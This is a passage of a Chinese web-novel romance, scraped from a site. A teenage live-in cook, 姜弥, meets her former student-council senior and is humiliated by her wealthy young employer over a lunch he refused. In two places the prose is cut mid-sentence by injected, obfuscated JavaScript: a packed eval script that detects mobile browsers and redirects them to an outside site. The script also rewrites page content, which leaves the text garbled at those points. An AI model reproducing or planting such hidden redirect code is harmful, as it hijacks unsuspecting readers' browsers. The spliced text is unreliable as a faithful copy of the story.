姜弥微仰着脸,侧耳倾听。 阳光透过松针缝隙,在他优越的骨相上投下错落光影。高挺的眉骨,清晰的下颌线,金丝眼镜后的眼眸温和而专注。 他微微低头听她说话时,镜片后的睫毛浓密纤长,羽鸦一样的,在卧蚕落下扇形阴影。 这熟悉的神情与姿态,让姜弥有些恍惚。 记忆猝不及防回溯到两年前。 那年秋天。 她作为高一新生,在迷宫般的校园里焦急寻找学生会集合的教室。就在快要迟到时,身后传来一道清润平稳的嗓音: “同学,是去三楼阶梯教室吗?” 她回头。 看见一个穿着干净校服、臂戴红色执勤袖章的少年。 秋日阳光落在他肩头,他手里拿着文件夹,金丝眼镜后的眼睛带着善意的询问。 那是她第一次见到裴晔。 后来她才知道,他是连续三年高票当选的学生会长,是荣誉榜榜首的名字,是国旗下讲话时连校长都会侧耳细听的存在。 也是那个会在图书馆把她够不到的书取下来,会在她考试失利后递来安慰和鼓励的温柔的学长。 他是很多人青春里可望不可即的风景。 也是姜弥那段灰扑扑的日子里,为数不多的带着光晕的念想。 此刻,时过境迁。 他褪去校服,比起当年更添温润沉稳,气度从容。 而她站在他身侧,手里提着的保温袋,让这好不容易重逢的欣喜里,掺进了一丝说不清道不明的黯然。 “弥弥?” 裴晔的声音将她从回忆里拉回。 “嗯?”她眨了眨眼,有些仓促地整理表情。 “走神了?”他轻笑,镜片后的目光温和包容,“是不是我说的太无聊了?” “不,没有的事。”姜弥连忙摇头,耳根发热,“只是……看到学长,就不由想起以前在学生会的事。那时候学长教我们做活动策划,连标点符号都要求规范。” “你还记得。” 裴晔眼中笑意更深,似乎也陷入回忆,“你们那届,是我带过最认真的一批。” 他顿了顿,语气里带着几分怀念和感叹: “时间过得真快。那时候你还像个小孩子,喝个米酒都会醉,如今已经长成亭亭少女了。” 姜弥怔了怔。 没想到,他也还记得自己。 耳根烫得发疼。心跳在胸腔里轻轻鼓动。 “学长……” 她正要开口,忽然瞥见一抹身影。 姜弥脊背一僵。 几乎是本能地,她攥紧手中的保温袋,缓缓闭了嘴。 “怎么了?”裴晔问。 几步之外,纪淮野站在参天松柏下,不知已立了多久。 他单手插在裤袋里,午后的阳光将他挺拔的身影拉得修长。那双总是盛着散漫或嘲讽的丹凤眼,此刻正一瞬不瞬地、牢牢锁在姜弥脸上。 他脸上没什么表情,只微微偏了下头。 目光从她局促的脸,慢条斯理滑向她手中那个格格不入的保温袋,最后,才淡淡扫过她身旁温文尔雅的裴晔。 嘴角似乎勾了一下,又似乎没有。 然后,他开口了。 声音穿过松树间的风,清冷而清晰地钻进姜弥耳朵里: “哥,校长和主任他们都在礼堂找你呢,怎么躲这儿来了。” 他这句“哥”叫得自然,目光却是落在一旁的姜弥身上。 姜弥握着保温袋的手指,倏地收紧。 “淮野,你知道的。我不喜欢那种场合。” 裴晔顺着纪淮野的视线,看向身侧的姜弥,“对了,介绍一下,这是……” “我知道。” 纪淮野打断裴晔的话,向前走了两步。 “姜弥,我家新来的保姆。” “保姆”二字,如同一支冰冷的毒箭,猝不及防扎进姜弥心口。 她垂下眼,不敢去看裴晔此刻的表情。 “东西呢?” 纪淮野伸出手,掌心向上,手指修长干净。 姜弥诺诺地把保温袋递过去。 纪淮野接过,随意拆开看了一眼。 “日式肥牛饭?”他挑了挑眉,“搭配得倒挺像回事。” 便当盒分了三层,最上层是单独封好的汤汁和溏心蛋,中间是码放整齐的肥牛和焯过水的西蓝花,最下层是粒粒分明的米饭。 旁边还配了玉子烧和凉拌菠菜,保温杯里装着味噌汤。 大概是怕他都不吃,还另外备了三明治和饭团。 纪淮野抬眼看向裴晔,晃了晃手中的便当: “哥,要不要一起吃午饭?” 气氛微妙地凝滞了一瞬。 裴晔脸上的笑意淡了些,却依旧维持着得体的温和:“我这边还有事,就不……” “怎么,连顿饭都不肯赏脸?”纪淮野打断他,语气漫不经心,挑衅味十足。 “还是说,裴大才子上大学后科研繁忙,连跟自家弟弟吃饭的时间都没有了?” 裴晔沉默了两秒,最终点了点头。 “好。不过不能太久,下午系里还有个讨论会。” “行啊。”纪淮野转身,朝不远处的大楼走去,“那就去钟楼吧。” 姜弥站在原地,进退维谷。 按理说,她的送餐任务已经完成了。 她刚转身要走,却听见纪淮野说: “姜弥,跟上。” 见她不动,他挑眉,声音冷冽清晰: “难道要我请你?” 姜弥咬了咬下唇,跟了上去。 —— 纪淮野领他们去的地方,是钟楼下那家名为“+CCafe”的咖啡厅。 学校里竟然有咖啡厅,姜弥也是第一次见识。 岚山一中在城郊,学校周围荒无人烟,校内除了辅导资料店、文具店和小卖铺,就只剩教学楼和食堂了。 三人找了个靠窗的位置。 纪淮野将便当放在桌上,自然地占据了主位。 姜弥没有落座。 在“保姆”身份被当着裴晔的面揭穿的那一刻,某种破罐破摔般的平静取代了先前的忐忑与窘迫。 她索性拿出平日工作的态度,垂眼上前,将便当盒一一打开。 深褐色的酱汁徐徐渗透,热气裹着咸甜的香气氤氲散开。她用勺子搅匀,然后取出两只小碗,为两人各盛一份。 接着,她旋开保温杯,将温热的味噌汤倒入杯盖中。原本,她只带了纪淮野一人份的餐具,裴晔此刻用的碗,正是她为纪淮野喝汤准备的。 她将倒好的汤轻轻放在纪淮野手边,低声提醒:“少爷,小心烫。” 纪淮野夹起一筷浸透酱汁的肥牛,送入口中,咀嚼两下,抬眼。 “汁收得有点稠。” 这两日,姜弥已经习惯了他的挑剔,懒得理会。她低顺垂眼,没有作声。 裴晔拿起勺子,舀了一勺浸满汤汁的米饭,尝过后温声道: “我觉得刚好。淮野,你口味一向偏淡,这酱汁的浓度对大多数人来说应该正合适。” “是吗?” 纪淮野轻笑,目光落在姜弥低垂的睫毛上,“那就是保姆还不了解我的口味。下次注意,汤汁再稀一点。” “是。少爷。”姜弥小声应道。 心里暗自吐槽:你口味偏淡?昨天那东安子鸡和荔浦芋头扣肉,难道是鬼上身点的? “弥弥现在是在燕都上学吗?”裴晔看向纪淮野,语气自然,“我记得她应该是读高二?和你同年级。” 纪淮野夹菜的动作微微一顿。 他缓缓抬起眼,目光落在姜弥脸上,那种散漫的神情褪去了一些。 “高二?”他重复了一遍,继而问她:“你还是学生?” 看他那一瞬错愕的表情,姜弥的心猛地一跳。 她忽然意识到,纪太太和纪家的佣人或许从未向纪淮野提过她的情况,而他也从来没有关心过。 在他眼里,她可能只是个辍学打工、或高考失利后找活干的同龄人,从未想过她还是一名在校学生。 “是的,少爷。”姜弥点头,垂下眼。 “姜弥在岚山时比我低两届,现在理应是高二。淮野,你不知道吗?”裴晔语气温和。 空气安静了几秒。 纪淮野拧眉,视线落在姜弥脸上。 低垂着眉眼,看不清表情,但他能想到,肯定又是那副委屈可怜的模样。 他移开视线,语气恢复一贯的漫不经心: “哦,是么。没太注意。” 姜弥的心悬了起来。 她不知道这个新信息会对纪淮野的态度产生什么影响,是会更苛刻,还是会稍有些同理心? “所以,你是在一边打工一边备考?”裴晔将话题自然地接了回去,问姜弥。 “嗯。”姜弥点头,声音很轻。 “想考哪个学校?” “……还没想好。”姜弥撒谎道。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026089|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 志愿,从高一入学后不久就定下来了,这些年一直没变。不过以她的成绩和处境,要在岚山考上燕都大学,成功率实在太小。 否则,她又怎么会为此背井离乡,来到这里低声下气地看大少爷脸色。 “有什么需要帮忙的,可以随时找我。”裴晔温声道,“如果你想考燕大的话,各院的资料,或是报考方向,我都可以给你一些建议。” “谢谢学长。”姜弥真心实意地道谢。 纪淮野忽然放下筷子,发出轻微声响。 “哥对她倒是关心。” 他往后靠了靠,阳光落在他半边脸上,勾勒出分明的下颌线。 六月的正午,烈日炎炎,热浪翻涌。 姜弥却莫名觉得脊背发凉,仿佛周围都笼罩起一股凛冽寒气。 “淮野。”裴晔的语气沉了些,“姜弥是我的学妹,照顾她是应该的。” “应该的?” 纪淮野重复这三个字,轻笑一声,目光再次扫过姜弥。 这一次,那眼神里多了些她看不懂的东西。 “当年你一意孤行去岚山的时候,怎么没想过你留在纪家是应该的?” 冷冽的质问。 裴晔再次沉默。 店里还有三三两两的客人,看起来是来这里办公的老师,此刻听到动静,纷纷投来好奇的视线。 “我下午还有课,先走了。” 说完,纪淮野站起身,没有再看裴晔一眼,转身离开。 随着+CCafe的大门关上,店内恢复了安静。围观的视线也各自收回,专注于手头的事情。 “抱歉。”裴晔先开了口,声音里带着歉意,“淮野他……性格就是这样,你别往心里去。” 姜弥摇摇头,勉强笑了笑:“没关系的。” 想到纪淮野离去前的那一眼,心里隐隐生出几分不安。 裴晔朝对面抬了抬手,“坐下说话吧。” 姜弥依言走过去,在纪淮野方才坐过的位置慢慢坐下。 空气里浮动着极淡的冷冽气息,那是纪淮野身上的气息。 裴晔没再开口,只是端起面前的拌饭,慢条斯理地吃了起来。他的动作姿势依然是从前那般,从容里带着一种与生俱来的矜贵。 姜弥忽然想起第一次在外婆家看他吃饭的场景。老房子光线昏沉,他安静地坐在掉漆的小桌前,不紧不慢,姿态自然舒展,就像流落人间的王子,让她和外婆住的老破小都蓬荜生辉起来。 那时她就隐隐觉得,裴晔和她不是一个世界的人。 纪淮野那声“哥”还在耳边绕着。他是纪家的人,却又姓裴。为什么会在岚山上学?太多疑问在心底翻涌,最后都被她轻轻按了下去。 她只是纪家一个还在试工期的保姆。打听雇主家的事,是逾矩。妈妈早就叮嘱过:做好本分,别多看,别多问。 七八分钟后,便当盒里的肥牛饭被吃的干干净净,连一粒米都不剩。 裴晔轻轻放下筷子,用纸巾拭了拭唇角,随后满足地低叹一声:“真幸福啊……好久没有吃到这么美味的饭了。” 他抬眼看向姜弥,镜片后的目光温润如水,“弥弥的手艺,比两年前更好了。”稍作停顿,他又放轻声音道,“一边上学,一边还要做这些……很辛苦吧?” 姜弥一怔,眼眶忽然有些发热。 裴晔笑了笑,视线转向那份几乎没动过的味噌汤,停了停,问道:“这汤……我能喝吗?” 姜弥微微一怔,目光掠过那份被纪淮野冷落一旁的汤。她想起他挑三拣四的毛病,还有离开时淡漠的背影。既然他不吃,留着也是浪费。 “能喝的……学长不嫌弃的话,也给你吧。” 她从小就喜欢做饭。一开始做得不好,米饭糊底,菜也没炒熟,但爸妈和外婆总会笑着说“下次会更好”。 后来她真的越做越好,连外婆都夸她有天分。每次看到吃饭的人露出满足的表情,她就觉得自己比他们还要幸福。 美食是能传递幸福的事。 可来到纪家后,她渐渐找不到这种乐趣。纪淮野从来不会夸她,最多施舍一句“还行”。 但此刻裴晔却说,吃到她做的饭很幸福。 他记得她喝米酒会醉,记得学生会那些琐碎的往事。 而现在,他也看见了她处境的艰难。 “弥弥。” 裴晔的声音突然将她拉回现实。 她抬起头,对上他温和而笃定的目光。 他嗓音轻而润,像是带着某种沉静力量的流水。 他对她说:“无论你现在在做什么,无论别人怎么看你,都不要看轻自己。眼下只是途径之地,你会拥有更好的未来。” 那一刻,她仿佛又回到了两年前的秋天。 那个迷路的午后,那个递来指引的少年,和此刻的他,微妙地重叠在了一起。 “学长……” 她张了张嘴,话音未落,裴晔的声音打断了她: “弥弥,淮野他其实是个很好的孩子,只是性子太执拗。有时候看事情太固执。你在他旁边,我放心不少,以后也还请你多包容他些。” 姜弥瞳孔一颤。 这话是什么意思? 为什么? 为什么他要对她说这种话? 明明是纪淮野居高临下,强势又自我,明明她才是那个战战兢兢的“外人”。 为什么偏偏是裴晔,用这样温和的语气托付她“照顾”那个人? 更何况,以她现在的身份,又凭什么去“照顾”纪家的少爷? “学长,其实我——”姜弥想解释,想把两年前没能说出的那些话摊开。 可迎上裴晔温和的笑容时,所有言语又禁声在了唇边。 裴晔笑了笑,瞥了眼腕表:“我得走了。有事随时联系我。” 说完起身离开。 走到门口时,他脚步稍顿,回过头来。 “弥弥,照顾好自己。高考加油。” 姜弥独自坐在那儿,许久没动。 回过神后,她默默收好餐具,提起保温袋准备离开。 手机在口袋里震动了一下。 她掏出来,屏幕亮起,上面只有两个字: 【过来。】 8. 第 8 章 屏幕上的两个字,让姜弥看得云里雾里。 犹豫片刻,她打字回: 【来哪?】 短信发出不久,回复弹了出来: 【南舍3#2001】 这名字听起来,像是宿舍楼。 燕都一中汇集了全国各地的顶尖人才,校内设有宿舍并不奇怪,但纪淮野明明是走读生...... 姜弥没有多想。 她点开导航,输入目的地,沿着路线穿过校园。 午后的阳光晒得地面发烫,额角沁出细密的汗珠。 走到楼下才发觉,那是教职工专用的公寓楼。 大厅铺着地毯,摆放皮质沙发,静谧得近乎肃穆。别说学生,就连没有特制门禁卡的老师也进不去。 纪淮野能在这里,本身就已经说明,他是一种特权。 向管理员说明情况后,对方为她开了门。 电梯直上20楼。 站在2001门口,姜弥抬手敲了敲门。 “进。” 声音从里面传来,有些懒散。 推开厚重的木门,室内的冷气扑面而来。 纪淮野果然在里面。 房间没有开灯,有些昏暗。 午后的光线透过纱帘,在他周身蒙上一层朦胧的光晕。 他占着临窗的宽大沙发,身体舒展地靠着,长腿交叠,眼尾低垂,目光落在虚空某处。手中把玩着一个银质打火机,开合间发出清脆的“咔哒”声。 听到门响,他动作未停,只掀了掀眼皮。 “关门。” 姜弥带上门,室内的寂静瞬间将她包裹。 她走到沙发前几步远站定,像等待训话的学生。 纪淮野的目光终于聚焦,微微抬眼,落到她脸上,又滑向她手中的保温袋。 “东西。”他伸出手。 姜弥默默递过去。他接过,坐直身体,打开。 当看见里面空空如也的饭盒时,指尖在边缘停顿了一瞬。 接着抬起眼,看向姜弥。 逆着光,他的脸隐在阴影里,看不清表情,只有那双丹凤眼在昏暗中亮得慑人。 “吃得真干净。”他慢悠悠开口。 姜弥心脏一紧。 “少爷,您......您没怎么动,后来......” “后来你就默认我不吃了,全留给你那位学长了,是吗?”纪淮野打断她,每个字都尖锐带刺,“姜弥,你和他聊得挺开心啊,怎么,他是你老相好?” “老相好”三个字让姜弥脸颊瞬间涨红。 “不是的。我和裴学长只是校友,我们......” “哐当”一声,打断了她的话,也吓得她肩头一颤。 保温袋被纪淮野丢回桌上,撞击声在寂静中格外刺耳。 “校友?”他玩味地重复这个词,嗤笑一声,“校友能让你笑得眼睛发亮?校友会对你轻言细语关怀备至?校友就能让你把我这个付钱雇你的人晾在一边,连自己的本分都忘了?” 他每问一句,语气就冷一分。 姜弥咬住下唇,不再说话。 她的沉默,似乎激怒了纪淮野。 “姜弥,你是不是还没拎清自己的位置?”他身体前倾,手肘撑在膝盖上,目光如同实质压向她。 “纪家付你工资,是让你来为我服务的。你的时间、你的劳动、甚至你做出来的东西,在雇佣期间都属于我。” “你没有权利拿着我的东西,哪怕是一口我吃剩的饭,去讨好别的男人。明白吗?” 每一句话都像是带着荆棘的鞭子,荆棘上沾满了辣椒油,抽在姜弥的自尊上,火辣辣的。 她脸色煞白,指尖冰凉,巨大的屈辱感和无力感压得她喘不过气。 想反驳,想说自己没有施舍讨好,想说那顿饭是他自己不要的......可所有的话最终都堵在喉咙里,化作一片苦涩的沉默。 不能争辩。 这是她的工作。 而且今天是第三天,纪太太已经在替她办理转学手续。和少东家发生争执,一切就前功尽弃了。 不就是话难听吗?忍忍就过去了。 “对不起,少爷。”她垂下头,盯着自己鞋尖,声音干涩,“是我考虑不周,没有想到您可能没吃饱。请您再给我一次机会,我这就回去重新准备。” 纪淮野看着她低眉顺眼的样子,那股没来由的烦躁更甚。让他有种一拳打在棉花上的挫败感。 “你现在回去做?”纪淮野靠回沙发,抬腕看了看表,“我饿了,等不了。而且,因为你,我心情很不好。” “对不起,都是我的错。”她再次低头道歉。并给出解决方案,“那我去学校食堂给您买饭吧。” 姜弥想着纪太太说过,平时纪淮野在学校吃,食堂的饭菜应该也还合他口味。 没想到的是,她话音刚落,对面纪淮野的脸色更沉了。 “......” 姜弥不说话了。 纪淮野“啧”了一声,声调又冷又沉,听得出他十分不爽。 她看着不开心的少爷掏出手机,解锁屏幕,指尖滑动几下,拨出一个号码。 电话响了两声就被接起。 “李老师,我下午请假。”他甚至没用疑问句。 听筒那端传来中年男人迟疑的回应,叽里咕噜地说了一大通。纪淮野面露不悦,直接截断了对方的话头:“我身体不舒服,需要休息。” 他语气平淡,听不出半点“不适”,只有一种理所当然的倦怠。 “假条回头补给您,或者......”他有意停顿两秒,才继续:“或者让我家助理联系学校。” 那头沉默了几秒,最终妥协:“......好吧。注意休息。” “嗯。” 他按下挂断键,动作干脆利落。 整个过程,姜弥就站在旁边听着。看着他如此轻易地豁免了学校的纪律,像一个任性的君主。而她,则是那个导致君主“龙颜不悦”、甚至“罢朝”的微不足道的导火索。 纪淮野收起手机,站起身。 他个子高,立在姜弥面前,投下的阴影几乎将她完全笼罩。 “还杵着?”他低头,目光掠过她苍白的脸和紧抿的唇,“需要我请你?” “......” 姜弥侧身让道。 纪淮野从她身边走过时,带起一阵微冷的空气。 他绕过她,拉开休息室的门。 外面正午的光线汹涌而入,刺得人眯起眼睛。 姜弥抓起桌上的保温袋,跟在他身后走了出去。 走出教职工公寓,穿过校园林荫道,姜弥在先前下车的地方看见了那辆线条冷硬显眼的黑色SUV。 司机小刘戴着白手套,静立在车旁。 姜弥眨眨眼。 刘哥不是回别墅了吗? 她瞥向身侧的少年,忽然恍然大悟。 这人怕不是离开+CCafe时就联系了司机。 难道...... 他早就料到这份午饭会被裴晔吃掉? 一早就打好了请假回家的主意? “少爷。” 司机的声音打断了姜弥的思绪。 他拉开后座车门,一手遮挡在门框上沿。 纪淮野没有应声,只微一躬身,坐进了车里。 关门前,司机看向姜弥。 姜弥轻轻摇头,识趣地拉开副驾车门坐了进去。 姜弥瞥了眼后视镜,纪淮野向后靠进座椅里,阖上眼。 他眉骨高,光影透过车窗,在眼窝投下深邃阴影,整张侧脸的线条像被精心勾勒过,冷淡地隔绝了所有情绪。 像是察觉到打量的视线,他眉头蹙了蹙,薄唇轻启:“回家。” “是。” 车子平稳启动,驶离午后的校园。 一路无话。 车厢内的空气凝滞,比空调的冷风更让人窒息。 —— 回到那栋空旷的别墅,纪淮野径直上楼,丢下一句:“给你二十分钟。” 姜弥听到阎王催命,刚换好换鞋就冲进了厨房。 二十分钟,从准备到烹饪,时间紧迫好比考试结束前15分钟铃响时,还有两道大题没做。 不过,好在回来途中,她已经飞速思考过几种方案。在ABC三种应急方案里,她选择了最快手的虾仁滑蛋饭。 焯烫虾仁,打散鸡蛋,热锅快炒,勾薄芡,盖在刚煮好的米饭上。 又迅速焯了几棵西兰花作为点缀。 十五分钟,她把托盘端到餐厅。 纪淮野已经下来了,换了身家居服,坐在餐桌主位,正用平板看着什么。他扫了一眼托盘上的食物,拿起勺子。 尝了一口滑蛋,他放下勺子。 “蛋炒老了,虾仁有腥味,没处理干净。”他语气平淡,继续往下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026090|194410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“米饭水放多了,黏糊糊的。这就是你二十分钟做出来的东西?” 姜弥站在餐桌旁,感觉全身的血液都往头上涌,又迅速褪去,留下冰凉的麻木。 虾仁她用料酒和姜片腌过,鸡蛋她特意控制了火候,以她十三年的掌勺经验做担保,绝对不会存在他说的那些低级问题。 他根本就是在鸡蛋里挑骨头,不,是挑虾仁里的骨头。 可那又如何呢?付钱的是大爷。 “对不起,少爷。”她的声音听不出波澜,“我去重新做。”说着便伸手去端碗。 “算了。”纪淮野抬手一挡,拿起勺子利落地挖起一大口饭,“饿死了,凑合吃吧。” 话音未落,饭粒裹着虾仁被送进嘴里。 “是。”姜弥看破不说破,垂手退到一旁。 既然少爷愿意“凑合”,她自然乐得轻松。 饭吃到七七八八的时候,纪淮野舀饭的速度慢了下来,目光落在平板上,忽然漫不经心地抛出一句:“雇佣未成年人是违法的。” 姜弥正望着窗外发呆,闻言转过头:“我上个月刚满十八,少爷。” “哦。”他应了一声,继续吃饭。 偏远地区上学晚,十八岁读高二不是什么稀奇事,不值得大惊小怪。 “学校那边呢?”他又开口,勺子轻轻搅着碗里剩余的米饭,“就这么休学了?是她逼你来的?” 一连三问。 姜弥反应了几秒,才明白他口中的“她”,怕是指纪太太。 “不是。”姜弥低声答,“是我自己主动来的。” 纪淮野抬眼,瞥了她一下,似乎在判断这句话的真伪。少女低垂着眉眼,浓密的睫毛遮住了眼睛,脸上没什么表情。 他就这么盯着看了两秒,鼻腔里溢出一声轻哼,说不清是信了还是没信。 “学业呢,”他换了个姿势,手指在桌面轻叩两下,“不管了?书不读了?” 姜弥微微一怔。严格来说,纪淮野和他并不存在雇佣关系,他问这些,是在有些越界。可若不答,又显得她失礼。 犹疑片刻,她还是决定实话实说:“纪太太说,可以帮我转来燕都上学,平常只用给少爷做早餐和夜宵,不耽误学习的。” 听到“转学”,纪淮野眸光微动。 他不是纨绔,自然知道转来燕都上学意味着什么。 他唇角勾了勾。 那些悬在他心头的疑问,忽然就都解开了。 为什么她对他的种种刁难总是一声不吭?为什么能忍下那些刻薄的话? 燕都的学籍和那张证书,的确足够让很多人低下头颅。 沉默在餐桌上漫开。 这沉默里夹着一丝他自己也理不清的烦躁: 一半是诧异于他二妈的出手阔绰,一半是莫名恼火。 眼前这人,就为了个学籍,真就能把自己“卖”进纪家伺候人? 但终究是别人的选择,他也懒得管。 “随你的便。” 扔下这句话,他起身离座。 姜弥默默上前准备收拾碗碟。 “另外——”纪淮野的声音从楼梯上传来。 姜弥顿住动作,回头。 他站在旋转楼梯中段,手搭着栏杆,居高临下,光影切割着他的轮廓,像一尊冷淡的雕塑。 “认清自己的位置。”他俯视下来,语气凉薄,“我哥的世界,你挤不进去。别做那种让自己更难堪的梦。” 空气凝固了几秒。 “是,少爷。”她的应答轻软顺从,听不出半分脾气,“我会记住的。” 说完便端起那只吃得干干净净的碗,转身,走向厨房。背脊挺得笔直,脚步平稳,整个人身上透着一种麻木的平静。 纪淮野的视线一直追着那道背影,直到它消失在厨房门后。他脸上没什么表情,只是下颌线绷得有些紧。 真烦。 这人没有自尊吗? 难道不知道什么叫反抗? 正当他心烦气躁时,厨房里传来哗啦啦的水流声。接着,是实木砧板落在操作台上的闷响。 然后—— 铛。铛。铛。 厚背菜刀斩在砧板上,声音规律、沉重、不疾不徐,在过分安静的别墅里,一下,又一下,听得人脊椎隐隐发凉。 纪淮野抿紧嘴唇,转身快步上楼。 哒、哒、哒。 步子越来越急,像在逃离什么。